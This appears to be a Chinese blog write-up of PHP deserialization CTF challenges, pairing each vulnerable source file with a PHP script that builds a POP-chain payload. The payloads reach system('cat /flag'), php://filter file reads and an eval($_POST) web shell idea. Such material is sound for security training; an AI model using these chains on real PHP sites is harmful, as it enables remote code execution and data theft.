CTF关于反序列化练习随笔记录

news2024/10/5 18:25:29

图片

反序列化

php魔术方法

1、get、set 这两个方法是为在类和他们的父类中没有声明的属性而设计的 get( $property ) 当调用一个未定义的属性时访问此方法 set( $property, $value ) 给一个未定义的属性赋值时调用 这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

2、isset、unset isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法 unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法 与get方法和set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)

3、call call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法

4、autoload autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。注意: 在 autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。

5、construct、destruct construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称 destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法 默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。

6、clone PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在clone方法实现。

7、toString toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。在PHP 5.2.0之前,toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符) 从PHP 5.2.0,如果将一个未定义到字符串方法的对象 转换为字符串,会报出一个ERECOVERABLEERROR错误。

8、sleep、wakeup sleep 串行化的时候用 wakeup 反串行化的时候调用 serialize() 检查类中是否有魔术名称 sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。使用 sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。相反地,unserialize() 检查具有魔术名称 wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。

9、set_state 当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按数组('property' => value, ...)格式排列的类属性。

10、invoke 当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效

11、callStatic 它的工作方式类似于 call() 魔术方法,callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。 同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。

  1. call_user_func(函数,参数)

 

  1. <?php

  2. class A{

  3. public $a="hi";

  4. public $b="no";

  5. function __construct()

  6. {

  7. $this->a="hiiiii!";

  8. echo $this->a."\n";

  9. echo "this is construct\n";

  10. }

  11. function __wakeup()

  12. {

  13. echo "this is wakeup\n";

  14. }//反序列化之前

  15. function __destruct()

  16. {

  17. echo "this is destruct\n";

  18. }//反序列化时会最后才触发

  19. function __toString()

  20. {

  21. return "this is tostring\n";

  22. }

  23. function __call($name, $arguments)

  24. {

  25. echo "this is call\n";

  26. }

  27. function __get($a)

  28. {

  29. echo "this is get\n";

  30. }

  31. function __invoke()

  32. {

  33. echo "this is invoke\n";

  34. }//尝试当作函数

  35. function say_hi()

  36. {

  37. echo "hiuhiu\n";

  38. }

  39. }

  40. $aa=new A();// 所有最后都还要析构一次,对象的消失

  41. $aa->say_hi();

  42. $bb=serialize($aa);

  43. $cc=unserialize($bb);

  44. echo $aa;// 作为字符串用时触发 tostring

  45. $aa->say_no(); //call

  46. $aa->c; //get

  47. $aa(); //invoke

运行结果

hiiiii!
this is construct
hiuhiu
this is wakeup
this is tostring
this is call
this is get
this is invoke
this is destruct
this is destruct

1.[SWPUCTF 2021 新生赛]ez_unserialize

源码

 
  1. <?php

  2. error_reporting(0);

  3. show_source("cl45s.php");

  4. class wllm{

  5. public $admin;

  6. public $passwd;

  7. public function __construct(){

  8. $this->admin ="user";

  9. $this->passwd = "123456";

  10. }

  11. public function __destruct(){

  12. if($this->admin === "admin" && $this->passwd === "ctf"){

  13. include("flag.php");

  14. echo $flag;

  15. }else{

  16. echo $this->admin;

  17. echo $this->passwd;

  18. echo "Just a bit more!";

  19. }

  20. }

  21. }

  22. $p = $_GET['p'];

  23. unserialize($p);

  24. ?>

传入的p调用wllm方法。

__construct()创建一个对象

里面有admin和passwd的值,同时被赋值

__destruct()销毁对象的时候

把对应的值读出来。

需要传入一个值,把值改为我所需要的值。

解码脚本如下

 
  1. <?php

  2. class wllm{

  3. public $admin;

  4. public $passwd;

  5. }

  6. $aa = new wllm();

  7. $aa->admin = "admin";

  8. $aa->passwd = "ctf";

  9. $stus = serialize($aa);

  10. echo($stus);

  11. ?>

post一下。

2.[网鼎杯 2020 青龙组]AreUSerialz

好长的序列化

 
  1. <?php

  2. include("flag.php");

  3. highlight_file(__FILE__);

  4. class FileHandler {

  5. protected $op;

  6. protected $filename;

  7. protected $content;

  8. function __construct() {

  9. $op = "1";

  10. $filename = "/tmp/tmpfile";

  11. $content = "Hello World!";

  12. $this->process();

  13. }

  14. public function process() {

  15. if($this->op == "1") {

  16. $this->write();

  17. } else if($this->op == "2") {

  18. $res = $this->read();

  19. $this->output($res);

  20. } else {

  21. $this->output("Bad Hacker!");

  22. }

  23. }

  24. private function write() {

  25. if(isset($this->filename) && isset($this->content)) {

  26. if(strlen((string)$this->content) > 100) {

  27. $this->output("Too long!");

  28. die();

  29. }

  30. $res = file_put_contents($this->filename, $this->content);

  31. if($res) $this->output("Successful!");

  32. else $this->output("Failed!");

  33. } else {

  34. $this->output("Failed!");

  35. }

  36. }

  37. private function read() {

  38. $res = "";

  39. if(isset($this->filename)) {

  40. $res = file_get_contents($this->filename);

  41. }

  42. return $res;

  43. }

  44. private function output($s) {

  45. echo "[Result]: <br>";

  46. echo $s;

  47. }

  48. function __destruct() {

  49. if($this->op === "2")

  50. $this->op = "1";

  51. $this->content = "";

  52. $this->process();

  53. }

  54. }

  55. function is_valid($s) {

  56. for($i = 0; $i < strlen($s); $i++)

  57. if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

  58. return false;

  59. return true;

  60. }

  61. if(isset($_GET{'str'})) {

  62. $str = (string)$_GET['str'];

  63. if(is_valid($str)) {

  64. $obj = unserialize($str);

  65. }

  66. }

is_valid函数要求传入的ascill码都在32到125之间

分析给的源码

分析pop链

flag.php->output()->read()->op=2->process()->destruct()

 

  1. <?php

  2. class FileHandler {

  3. public $op =2;

  4. public $filename="flag.php";

  5. public $content="666";

  6. }

  7. $a=new FileHandler();

  8. $b=serialize($a);

  9. echo $b;

  10. ?>

解密脚本如上

3.[SWPUCTF 2021 新生赛]no_wakeup

源码如上

 

  1. <?php

  2. header("Content-type:text/html;charset=utf-8");

  3. error_reporting(0);

  4. show_source("class.php");

  5. class HaHaHa{

  6. public $admin;

  7. public $passwd;

  8. public function __construct(){

  9. $this->admin ="user";

  10. $this->passwd = "123456";

  11. }

  12. public function __wakeup(){

  13. $this->passwd = sha1($this->passwd);

  14. }

  15. public function __destruct(){

  16. if($this->admin === "admin" && $this->passwd === "wllm"){

  17. include("flag.php");

  18. echo $flag;

  19. }else{

  20. echo $this->passwd;

  21. echo "No wake up";

  22. }

  23. }

  24. }

  25. $Letmeseesee = $_GET['p'];

  26. unserialize($Letmeseesee);

  27. ?>

分析链子

传入p,先序列化,wakeup()判断并赋值

然后比较p的内容成立就给flag

 
  1. <?php

  2. class HaHaHa{

  3. public $admin="admin";

  4. public $passwd="wllm";}

  5. $a=new HaHaHa();

  6. $a=serialize($a);

  7. echo($a);

  8. ?>

解密如上

改大hahaha前面的值大小,从而绕过wakeup()

4.[SWPUCTF 2021 新生赛]pop

源码

 

  1. <?php

  2. error_reporting(0);

  3. show_source("index.php");

  4. class w44m{

  5. private $admin = 'aaa';

  6. protected $passwd = '123456';

  7. public function Getflag(){

  8. if($this->admin === 'w44m' && $this->passwd ==='08067'){

  9. include('flag.php');

  10. echo $flag;

  11. }else{

  12. echo $this->admin;

  13. echo $this->passwd;

  14. echo 'nono';

  15. }

  16. }

  17. }

  18. class w22m{

  19. public $w00m;

  20. public function __destruct(){

  21. echo $this->w00m;

  22. }

  23. }

  24. class w33m{

  25. public $w00m;

  26. public $w22m;

  27. public function __toString(){

  28. $this->w00m->{$this->w22m}();

  29. return 0;

  30. }

  31. }

  32. $w00m = $_GET['w00m'];

  33. unserialize($w00m);

  34. ?>

分析

目标调用 Getflag()函数

看到tostring(),调用此处 $this->w00m->{$this->w22m}();,调用getflag()

getflag<-w44w<-w33w<-w22w

解密脚本如下

 
  1. <?php

  2. class w44m{

  3. private $admin = 'w44m';

  4. protected $passwd = '08067';

  5. }

  6. class w22m{

  7. public $w00m;

  8. }

  9. class w33m{

  10. public $w00m;

  11. public $w22m;

  12. }

  13. $a = new w22m();

  14. $b = new w33m();

  15. $c = new w44m();

  16. $a->w00m=$b;

  17. $b->w00m=$c;

  18. $b->w22m='Getflag';

  19. echo serialize($a);

  20. ?>

get一下

5.[NISACTF 2022]babyserialize

源码

 

  1. <?php

  2. include "waf.php";

  3. class NISA{

  4. public $fun="show_me_flag";

  5. public $txw4ever;

  6. public function __wakeup()

  7. {

  8. if($this->fun=="show_me_flag"){

  9. hint();

  10. }

  11. }

  12. function __call($from,$val){

  13. $this->fun=$val[0];

  14. }

  15. public function __toString()

  16. {

  17. echo $this->fun;

  18. return " ";

  19. }

  20. public function __invoke()

  21. {

  22. checkcheck($this->txw4ever);

  23. @eval($this->txw4ever);

  24. }

  25. }

  26. class TianXiWei{

  27. public $ext;

  28. public $x;

  29. public function __wakeup()

  30. {

  31. $this->ext->nisa($this->x);

  32. }

  33. }

  34. class Ilovetxw{

  35. public $huang;

  36. public $su;

  37. public function __call($fun1,$arg){

  38. $this->huang->fun=$arg[0];

  39. }

  40. public function __toString(){

  41. $bb = $this->su;

  42. return $bb();

  43. }

  44. }

  45. class four{

  46. public $a="TXW4EVER";

  47. private $fun='abc';

  48. public function __set($name, $value)

  49. {

  50. $this->$name=$value;

  51. if ($this->fun = "sixsixsix"){

  52. strtolower($this->a);

  53. }

  54. }

  55. }

  56. if(isset($_GET['ser'])){

  57. @unserialize($_GET['ser']);

  58. }else{

  59. highlight_file(__FILE__);

  60. }

  61. //func checkcheck($data){

  62. // if(preg_match(......)){

  63. // die(something wrong);

  64. // }

  65. //}

  66. //function hint(){

  67. // echo ".......";

  68. // die();

  69. //}

  70. ?>

先传进去看看hint()

 
  1. O:4:"NISA":1:{s:3:"fun";s:12:"show_me_flag";}

hint:flag is in /

分析:

魔术方法
 
  1. invoke():当尝试以调用函数的方式调用对象的时候,就会调用该方法

  2. __construst():具有构造函数的类在创建新对象的时候,回调此方法

  3. destruct():反序列化的时候,或者对象销毁的时候调用

  4. __wakeup():反序列化的时候调用

  5. sleep():序列化的时候调用

  6. __toString():把类当成字符串的时候调用,一般在echo处生效

  7. set():在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用__

  8. get():读取不可访问或者不存在的属性的时候,进行赋值

  9. __call():在对象中调用一个不可访问的方法的时候,会被执行

pop链

@eval执行语句<<invoke()<<tostring()//顺序执行下来<<strtolower($this->a);//改变小写做str格式调用<<set()<<call()//访问不可更改的数据

//而call方法又可直接反推回pop链入口函数wakeup()

 

  1. <?php

  2. class NISA{

  3. public $fun;

  4. public $txw4ever='system("ls");';

  5. }

  6. class TianXiWei{

  7. public $ext;

  8. public $x;

  9. }

  10. class Ilovetxw{

  11. public $huang;

  12. public $su;

  13. }

  14. class four{

  15. public $a;

  16. private $fun;

  17. }

  18. $a=new tianxiwei;

  19. $a->ext=new ilovetxw;

  20. $a->ext->huang=new four;

  21. $a->ext->huang->a=new ilovetxw;

  22. $a->ext->huang->a->su=new nisa;

  23. echo urlencode(serialize($a));

另一种解法

在NISA::wakeup里,做弱比较的时候就能触发toString()

 
  1. class NISA{

  2. public $txw4ever='SYSTEM("cat /f*");';

  3. }

  4. class Ilovetxw{

  5. }

  6. $a = new NISA();

  7. $a->fun = new Ilovetxw();

  8. $a->fun->su = $a;

  9. $a = serialize($a);

  10. echo $a;

6.[天翼杯 2021]esay_eval

前半为反序列化

源码

 

  1. <?php

  2. class A{

  3. public $code = "";

  4. function __call($method,$args){

  5. eval($this->code);

  6. }

  7. function __wakeup(){

  8. $this->code = "";

  9. }

  10. }

  11. class B{

  12. function __destruct(){

  13. echo $this->a->a();

  14. }

  15. }

  16. if(isset($_REQUEST['poc'])){

  17. preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);

  18. if (isset($ret[1])) {

  19. foreach ($ret[1] as $i) {

  20. if(intval($i)!==1){

  21. exit("you want to bypass wakeup ? no !");

  22. }

  23. }

  24. unserialize($_REQUEST['poc']);

  25. }

  26. }else{

  27. highlight_file(__FILE__);

  28. }

显然是要传入执行eval()

pop链从wakep触发

B->a=>A

构造解码

 
  1. <?php

  2. class a{

  3. public $code = "";

  4. function __construct(){

  5. $this->code = "phpinfo();";

  6. }}

  7. class b{

  8. function __construct(){

  9. $this->a=new a();

  10. }}

  11. echo serialize(new b());

传入phpinfo执行成功,考虑ls /

发现system函数被禁用

反序列化传木马

构造code=’eval(\$_POST[a];)’

然后蚁剑链接

发现有限制无法传入

考虑其他方法,反序列化成功

7.[sictf2023]serialize

源码

 
  1. <?php

  2. highlight_file(__FILE__);

  3. error_reporting(0);

  4. class Happy{

  5. private $cmd;

  6. private $content;

  7. public function __construct($cmd, $content)

  8. {

  9. $this->cmd = $cmd;

  10. $this->content = $content;

  11. }

  12. public function __call($name, $arguments)

  13. {

  14. call_user_func($this->cmd, $this->content);

  15. }

  16. public function __wakeup()

  17. {

  18. die("Wishes can be fulfilled");

  19. }

  20. }

  21. class Nevv{

  22. private $happiness;

  23. public function __invoke()

  24. {

  25. return $this->happiness->check();

  26. }

  27. }

  28. class Rabbit{

  29. private $aspiration;

  30. public function __set($name,$val){

  31. return $this->aspiration->family;

  32. }

  33. }

  34. class Year{

  35. public $key;

  36. public $rabbit;

  37. public function __construct($key)

  38. {

  39. $this->key = $key;

  40. }

  41. public function firecrackers()

  42. {

  43. return $this->rabbit->wish = "allkill QAQ";

  44. }

  45. public function __get($name)

  46. {

  47. $name = $this->rabbit;

  48. $name();

  49. }

  50. public function __destruct()

  51. {

  52. if ($this->key == "happy new year") {

  53. $this->firecrac$kers();

  54. }else{

  55. print("Welcome 2023!!!!!");

  56. }

  57. }

  58. }

  59. if (isset($_GET['pop'])) {

  60. $a = unserialize($_GET['pop']);

  61. }else {

  62. echo "过新年啊~过个吉祥年~";

  63. }

  64. ?>

pop链思路

目的是执行 call_user_func函数=>类似于eval()

触发call(调用不可访问的东西)<=断了

正向推导:destruct(变量创建,反序列化开始)=》firecrackers()=》$this->rabbit->wish(wish不存在调用set)=》set

$this->aspiration->family(给一个private赋值)-》get()-》$name();=》invoke()=》(全部结束后set-》get-》call起效)

-》call()-》eval()

 
  1. <?php

  2. class Happy{

  3. public $cmd='system';

  4. public $content='cat /flag';

  5. }

  6. class Nevv{

  7. public $happiness;

  8. }

  9. class Rabbit{

  10. public $aspiration;

  11. }

  12. class Year{

  13. public $key;

  14. public $rabbit;

  15. }

  16. $a=new Year();

  17. $a->key='happy new year';

  18. $a->rabbit=new rabbit;

  19. $a->rabbit->aspiration=new year;

  20. $a->rabbit->aspiration->rabbit=new Nevv;

  21. $a->rabbit->aspiration->rabbit->happiness=new happy;

  22. echo(serialize($a));

  23. ?>

 
  1. <?php

  2. class aa{

  3. public $name;

  4. public function __construct(){

  5. $this->name='aa';

  6. }

  7. public function __destruct(){

  8. $this->name=strtolower($this->name);

  9. }

  10. }

  11. class ff{

  12. private $content;

  13. public $func;

  14. public function __construct(){

  15. $this->content="\<?php @eval(\$_POST[1]);?>";

  16. }

  17. public function __get($key){

  18. $this->$key->{$this->func}($_POST['cmd']);

  19. }

  20. }

  21. class zz{

  22. public $filename;

  23. public $content='surprise';

  24. public function __construct($filename){

  25. $this->filename=$filename;

  26. }

  27. public function filter(){

  28. if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){

  29. die('这不合理');

  30. }

  31. }

  32. public function write($var){

  33. $filename=$this->filename;

  34. $lt=$this->filename->$var;

  35. //此功能废弃,不想写了

  36. }

  37. public function getFile(){

  38. $this->filter();

  39. $contents=file_get_contents($this->filename);

  40. if(!empty($contents)){

  41. return $contents;

  42. }else{

  43. die("404 not found");

  44. }

  45. }

  46. public function __toString(){

  47. $this->{$_POST['method']}($_POST['var']);

  48. return $this->content;

  49. }

  50. }

  51. class xx{

  52. public $name;

  53. public $arg;

  54. public function __construct(){

  55. $this->name='eval';

  56. $this->arg='phpinfo();';

  57. }

  58. public function __call($name,$arg){

  59. $name($arg[0]);

  60. }

  61. }

8.[第五空间 2021]pklovecloud

 
  1. <?php

  2. include 'flag.php';

  3. class pkphow

  4. {

  5. function echo_name()

  6. {

  7. return "Pk very safe^.^";

  8. }

  9. }

  10. class acp

  11. {

  12. protected $cinder;

  13. public $neutron;

  14. public $nova;

  15. function __construct()

  16. {

  17. $this->cinder = new pkshow;

  18. }

  19. function __toString()

  20. {

  21. if (isset($this->cinder))

  22. return $this->cinder->echo_name();} }

  23. class ace

  24. { public $filename;

  25. public $openstack;

  26. public $docker;

  27. function echo_name() {

  28. $this->openstack = unserialize($this->docker);

  29. $this->openstack->neutron = $heat;

  30. if($this->openstack->neutron === $this->openstack->nova)

  31. {

  32. $file = "./{$this->filename}";

  33. if (file_get_contents($file))

  34. {

  35. return file_get_contents($file);

  36. }

  37. else

  38. {

  39. return "keystone lost~"; } } } }

  40. if (isset($_GET['pks']))

  41. {

  42. $logData = unserialize($_GET['pks']);

  43. echo $logData;

  44. }

  45. else

  46. {

  47. highlight_file(__file__);

  48. }

  49. ?>

1.目标是包含flag。php,需要调用echo_name(),绕过if语句之后包含得到flag

2.由于$heat是一个不存在的变量,导致不能直接去赋值

3.将$this->openstack赋值为空,接下去if内的比较是null=null,只要两者为空就可成功绕过

4._tostring()调用的点再echo,由echo为pop链的入口

 
  1. <?php

  2. class acp

  3. {

  4. protected $cinder;

  5. public $neutron;

  6. public $nova;

  7. function __construct($a)

  8. {

  9. $this->cinder = $a;

  10. }

  11. }

  12. class ace

  13. {

  14. public $filename;

  15. public $openstack;

  16. public $docker;

  17. }

  18. $a = new acp("");

  19. $a->neutron = NULL;

  20. $a->nova = NULL;

  21. $b = new ace();

  22. $b->filename='../nssctfasdasdflag';

  23. $b->docker=serialize($a);

  24. $c =new acp($b);

  25. //echo serialize($c);

  26. echo urlencode(serialize($c));

9.[nsactf2022]pop

源码

 

  1. <?php

  2. class Road_is_Long{

  3. public $page;

  4. public $string;

  5. public function __construct($file='index.php'){

  6. $this->page = $file;

  7. }

  8. public function __toString(){

  9. return $this->string->page;

  10. }

  11. public function __wakeup(){

  12. if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {

  13. echo "You can Not Enter 2022";

  14. $this->page = "index.php";

  15. }

  16. }

  17. }

  18. class Try_Work_Hard{

  19. protected $var;

  20. public function append($value){

  21. include($value);

  22. }

  23. public function __invoke(){

  24. $this->append($this->var);

  25. }

  26. }

  27. class Make_a_Change{

  28. public $effort;

  29. public function __construct(){

  30. $this->effort = array();

  31. }

  32. public function __get($key){

  33. $function = $this->effort;

  34. return $function();

  35. }

  36. }

目标是i把flag文件包含进去,实现伪协议读取

需要调用append函数=》调用invoke函数

在tryworkhard里面看到get函数里面调用了$function();(先触发invoke完成后会触发¥function():函数)

Road_is_Long的tostring里面存在着eturn $this->string->page;,调用一个不存在在string类里面的page触发get()

在正则匹配内,将变量当作字符串处理触发tostring,显然来到了wakeup

故以wakeup为入口

 
  1. <?php

  2. class Road_is_Long{

  3. public $page;

  4. public $string;

  5. }

  6. class Try_Work_Hard{

  7. protected $var="PHP://filter/read=convert.base64-encode/resource=/flag";

  8. }

  9. class Make_a_Change{

  10. public $effort;

  11. }

  12. $a = new Road_is_Long;

  13. $b = new Road_is_Long;

  14. $c = new Make_a_Change;

  15. $d = new Try_Work_Hard;

  16. $c-> effort = $d;

  17. $a-> string = $c;

  18. $b-> page = $a;

  19. echo urlencode(serialize($b));

  20. ?>

10.[nssctf]prize p5

源码

 

  1. <?php

  2. error_reporting(0);

  3. class catalogue{

  4. public $class;

  5. public $data;

  6. public function __construct()

  7. {

  8. $this->class = "error";

  9. $this->data = "hacker";

  10. }

  11. public function __destruct()

  12. {

  13. echo new $this->class($this->data);

  14. }

  15. }

  16. class error{

  17. public function __construct($OTL)

  18. {

  19. $this->OTL = $OTL;

  20. echo ("hello ".$this->OTL);

  21. }

  22. }

  23. class escape{

  24. public $name = 'OTL';

  25. public $phone = '123666';

  26. public $email = 'sweet@OTL.com';

  27. }

  28. function abscond($string) {

  29. $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');

  30. $filter = '/' . implode('|', $filter) . '/i';

  31. return preg_replace($filter, 'hacker', $string);

  32. }

  33. if(isset($_GET['cata'])){

  34. if(!preg_match('/object/i',$_GET['cata'])){

  35. unserialize($_GET['cata']);

  36. }

  37. else{

  38. $cc = new catalogue();

  39. unserialize(serialize($cc));

  40. }

  41. if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){

  42. if (preg_match("/flag/i",$_POST['email'])){

  43. die("nonono,you can not do that!");

  44. }

  45. $abscond = new escape();

  46. $abscond->name = $_POST['name'];

  47. $abscond->phone = $_POST['phone'];

  48. $abscond->email = $_POST['email'];

  49. $abscond = serialize($abscond);

  50. $escape = get_object_vars(unserialize(abscond($abscond)));

  51. if(is_array($escape['phone'])){

  52. echo base64_encode(file_get_contents($escape['email']));

  53. }

  54. else{

  55. echo "I'm sorry to tell you that you are wrong";

  56. }

  57. }

  58. }

  59. else{

  60. highlight_file(__FILE__);

  61. }

  62. ?>

解法一

 
  1. class catalogue{

  2. public $class;

  3. public $data;

  4. public function __construct()

  5. {

  6. $this->class = "error";

  7. $this->data = "hacker";

  8. }

  9. public function __destruct()

  10. {

  11. echo new $this->class($this->data);

  12. }

  13. }

存在一个$a($b)的问题,可以序列化之后利用(非常简单的非预期解)上链接

$a($b)

php中关于一些$a($b)_php中$b()_Msaerati的博客-CSDN博客

对于object的过滤

当反序列化的字符串属性是大写的时候,会允许网页解析后方的16进制码

解法二

php反序列化字符串逃逸

由于存在对

array(‘NSS’, ‘CTF’, ‘OTL_QAQ’, ‘hello’的检查和替换

  1. php在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。

  2. 2. 长度不对应的时候会报错

  3. 3. 可以反序列化类中不存在的元素

    浅析php反序列化字符串逃逸_lemonl1的博客-CSDN博客

    PHP反序列化字符逃逸详解 - FreeBuf网络安全行业门户

11.黄河流域网络安全空间2023[funnyweb]

源码

 

  1. <?php

  2. error_reporting(0);

  3. class A{

  4. public $sdpc = ["welcome" => "yeah, something hidden."];

  5. function __call($name, $arguments)

  6. {

  7. $this->$name[$name]();

  8. }

  9. }

  10. class B{

  11. public $a;

  12. function __construct()

  13. {

  14. $this->a = new A();

  15. }

  16. function __toString()

  17. {

  18. echo $this->a->sdpc["welcome"]; //对大家表示欢迎

  19. }

  20. }

  21. class C{

  22. public $b;

  23. protected $c;

  24. function __construct(){

  25. $this->c = new B();

  26. }

  27. function __destruct(){

  28. $this->b ? $this->c->sdpc('welcom') : 'welcome!'.$this->c; //变着法欢迎大家

  29. }

  30. }

  31. class Evil{

  32. function getflag() {

  33. echo file_get_contents('/fl4g');

  34. }

  35. }

  36. if(isset($_POST['sdpc'])) {

  37. unserialize($_POST['sdpc']);

  38. } else {

  39. serialize(new C());

  40. }

  41. ?>

利用点在file_get_include(),getflag()是出口。

getflag<=A中的call()函数=《C中存在一个protect的值,在对象销毁里面调用。

入口是c的对象销毁。

 

  1. <?php

  2. error_reporting(0);

  3. class A

  4. {

  5. public $sdpc;

  6. function __construct() {

  7. $this->sdpc = array("sdpc" => array(new Evil(),'getflag'));

  8. }

  9. function __call($name, $arguments)

  10. {

  11. $name[$arguments]();

  12. }

  13. }

  14. class C

  15. {

  16. public $b;

  17. protected $c;

  18. function __construct()

  19. {

  20. $this->c = new A();

  21. }

  22. function __destruct()

  23. {

  24. $this->b ? $this->c->sdpc('welcom') : 'welcome!' . $this->c; //设置 b ,触发 ___call

  25. }

  26. }

  27. class Evil

  28. {

  29. function getflag()

  30. {

  31. echo '1';

  32. file_get_contents('/fl4g');

  33. }

  34. }

  35. $ca = new A();

  36. $cc = new C();

  37. $cc->b = 'sp4c1ous';

  38. echo urlencode(serialize($cc));

       申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

    免费领取安全学习资料包!

    渗透工具

    技术文档、书籍

     

    面试题

    帮助你在面试中脱颖而出

    视频

    基础到进阶

    环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

     

    应急响应笔记

    学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1653081.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

华为eNSP中型企业局域网网络规划设计(上)

敲半天一个闪退全™给我干没了呜呜呜&#xff0c;eNSP&#xff0c;wcnm&#xff01;wcnm&#xff01;wcnm&#xff01; →b站传送门&#xff0c;感谢大佬← →华为eNSP中型企业局域网网络规划设计&#xff08;下&#xff09;← →拓扑图传送门&#xff0c;可以自己配置着玩←…

带EXCEL附件邮件发送相关代码

1.查看生成的邮件 2.1 非面向对象的方式&#xff08;demo直接copy即可&#xff09; ​ REPORT Z12. DATA: IT_DOCUMENT_DATA TYPE SODOCCHGI1,IT_CONTENT_TEXT TYPE STANDARD TABLE OF SOLISTI1 WITH HEADER LINE,IT_PACKING_LIST TYPE TABLE OF SOPCKLSTI1 WITH HEADER LIN…

ansible------inventory 主机清单

目录 inventory 中的变量 2&#xff09;组变量[webservers:vars] #表示为 webservers 组内所有主机定义变量&#xff0c;所有组内成 员都有效 ansible_userrootansible_passwordabc1234 3&#xff09; [all:vars…

数据湖与数据网格:引领组织数据策略的未来

十多年来&#xff0c;组织已经采用数据湖来克服数据仓库的技术限制&#xff0c;并发展成为更加以数据为中心的实体。虽然许多组织已经使用数据湖来探索新的数据用例并改进其数据驱动的方法&#xff0c;但其他组织发现所承诺的好处很难实现。因此&#xff0c;许多数据湖计划的有…

文件下载出现 IOExpcetion: closed

异常原因截图 : 异常代码位置 : 出现的原因是 使用 try-with-resources, downloadFile 方法执行完毕, 文件流被关闭了...导致前面读取文件字节, 异常提示已经关闭... try (Response response OkHttpUtils.getInstance().client.newCall(new Request.Builder().url(fileUrl)…

Etcd集群选举细节

日志级别 在 etcd 集群中&#xff0c;领导者选举是 Raft 协议的一部分&#xff0c;用于在当前领导者失败或无法与集群中的其他节点通信时选出新的领导者。以下是您提供的日志中与领导者选举相关的一些关键条目&#xff0c;以及对它们的详细说明&#xff1a; 节点失去领导者&am…

python分析预测退休后养老金金额

欢迎关注我👆,收藏下次不迷路┗|`O′|┛ 嗷~~ 目录 一.前言 二.代码 三.总结 一.前言 养老金,也称为退休金或退休费,是一种主要的社会养老保险待遇。它旨在保障职工退休后的基本生活需要,根据劳动者对社会所作的贡献和所具备的享受养老保险资格或退休条件,按月或一次…

电脑屏幕监控软件有哪些?8款受欢迎的电脑屏幕监控软件

电脑屏幕监控软件有哪些&#xff1f;8款受欢迎的电脑屏幕监控软件 市场上有很多监控软件&#xff0c;因为太多&#xff0c;很多老板不知道怎么选&#xff0c;今天小编从它们各自的特点、优势、未来发展趋势几方面&#xff0c;介绍8款受欢迎的电脑屏幕监控软件。 第一是&#x…

【优选算法】——Leetcode——611. 有效三角形的个数

目录 ​编辑 1.题目 2 .补充知识 3.解法⼀&#xff08;暴⼒求解&#xff09;&#xff08;可能会超时&#xff09;&#xff1a; 算法思路&#xff1a; 算法代码&#xff1a; 4.解法⼆&#xff08;排序双指针&#xff09;&#xff1a; 算法思路&#xff1a; 以输入: nums …

还有谁不想薅云渲染的羊毛?五种云渲染优惠知道就是省到

不管你是效果图设计师还是动画设计师&#xff0c;在面对紧急或大量的渲染任务时&#xff0c;总会有云渲染的需要。然而&#xff0c;现在的云渲染越来越贵&#xff0c;我们该如何尽可能地节约成本完成渲染任务呢&#xff1f;本文将为你介绍云渲染的五种优惠形式&#xff0c;看完…

Compose 生命周期和副作用

